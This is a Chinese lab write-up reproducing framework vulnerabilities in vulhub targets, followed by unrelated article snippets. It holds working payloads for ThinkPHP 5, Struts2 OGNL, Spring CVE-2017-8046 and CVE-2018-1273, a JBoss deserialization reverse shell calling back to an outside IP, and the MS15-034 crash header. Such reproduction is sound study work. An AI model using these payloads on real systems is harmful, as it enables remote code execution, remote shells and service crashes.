常见框架漏洞复现

news/2024/9/24 15:14:36/

1、Thinkphp5x远程命令执行及getshell

1、环境配置

靶场:vulhub/thinkphp/5-rce
docker-compose up -d

2、漏洞利用

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。

远程命令执行

poc:

? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[ 1][]=-1

poc:

? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami

2、status2

1、访问靶机地址

2、在url处输⼊http://47.121.212.195:8080/struts2-

showcase/ ${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了。

3、将上⾯验证payload的值修改为我们的利⽤exp:

$%7B%0A%28%23dm%3D@ognl.0gnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23 request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.o pensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getIns tance%28@com.opensymphony.xwork2.ognl.0gnlUtil@class%29%29.%28%23ou.getExcl udedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.cle ar%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Run time@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.I OUtils@toString%28%23a.getInputStream%28%29%29%29%7D

3、Spring

1、Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

1、 访问 http://123.57.211.129:8080/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改

2、

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace" , "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new
byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname" , "value":"vulhub" }]
其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码

成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令
进⼊docker容器:

4、spring 代码执⾏ (CVE-2018-1273)

1、

2、填写注册信息,bp抓包:

3、加上 poc :

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/crz")]=&password=&repeatedPassword=

5、Shiro rememberMe反序列化漏洞(Shiro-550)

1、

2、使⽤BurpSuite进⾏抓包,在请求包中的cookie字段中添加rememberMe=123;

看响应包 header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架

3、命令执行

6、JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

1、漏洞复现

2、输⼊http://123.57.211.129:8081/invoker/EJBInvokerServlet 返回如图,说明接⼝开放,存在

反序列化漏洞:

3、#创建class⽂件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

# 创建反序列化⽂件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHas hMap
47.121.212.195:8888
# 监听8888 端⼝
nc -lvvp 8888
#psot 提交
curl http://123.57.211.129 :8081/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

7、HTTP.SYS远程代码执⾏(MS15-034) MS-->Microsoft 2015 -034

1、访问⽹站;

2、编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416

Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执⾏漏洞。

3、使用工具

4、这时候就可以看到虚拟机已经变卡了,甚⾄蓝屏。


http://www.ppmy.cn/news/1529862.html

相关文章

828华为云征文 | 将Vue项目部署到Flexus云服务器X实例并实现公网访问

一、Flexus云服务器X实例简介 1.1 概述 华为云Flexus X实例是华为云推出的一款创新云服务器产品,它主要面向中小企业和开发者,旨在解决传统云服务中的痛点,提供更加灵活、高效的云服务体验。 华为深刻洞察了中小企业和开发者在云服务应用中遇…

3d可视化图片:通过原图和深度图实现

1、depthy 在线体验demo: https://depthy.stamina.pl/#/ 也可以docker安装上面服务: docker run --rm -t -i -p 9000:9000 ndahlquist/depthy http://localhost:90001)首先传原图 2)再传对应深度图 3)效果 </ifra

【系统架构设计师】专题:软件架构风格(详细知识点及历年真题)

更多内容请见: 备考系统架构设计师-核心总结索引 文章目录 1、软件架构风格概述2、数据流风格3、调用/返回风格4、仓库风格5、虚拟机风格6、独立构件风格7、闭环控制架构8、C2架构风格9、层次结构风格10、富互联网应用(RIA)11、面向服务的架构(SOA)1、软件架构风格概述 软…

vue复制信息到粘贴框

npm install vue-clipboard2main.js文件引入 import VueClipboard from vue-clipboard2 Vue.use(VueClipboard)页面应用 copyInfo(info){let that thislet copyData 项目名称&#xff1a;${info.projectName}\n 用户名&#xff1a;${info.username}\n 初始密码&#xff1a;${…

探索MemGPT:AI界的新宠儿

文章目录 探索MemGPT&#xff1a;AI界的新宠儿1. 背景介绍2. MemGPT是什么&#xff1f;3. 如何安装MemGPT&#xff1f;4. 简单的库函数使用方法5. 场景应用场景一&#xff1a;创建持久聊天机器人场景二&#xff1a;文档分析场景三&#xff1a;多会话聊天互动 6. 常见Bug及解决方…

Vue 内存泄漏分析:如何避免开发过程中导致的内存泄漏问题

一. 引言 Vue 作为一款流行的前端框架&#xff0c;已经在许多项目中得到广泛应用。然而&#xff0c;随着我们在 Vue 中构建更大规模的应用程序&#xff0c;我们可能会遇到一个严重的问题&#xff0c;那就是内存泄漏。内存泄漏是指应用程序在使用内存资源时未正确释放&#xff…

JZ2440开发板——S3C2440的UART

以下内容源于韦东山课程的学习与整理&#xff0c;如有侵权请告知删除。 一、UART硬件简介 UART&#xff0c;全称是“Universal Asynchronous Receiver Transmitter”&#xff0c;即“通用异步收发器”&#xff0c;也就是我们日常说的“串口”。 它在嵌入式中用途非常广泛&…

CMake 构建Qt程序弹出黑色控制台

CMake 构建Qt程序弹出黑色控制台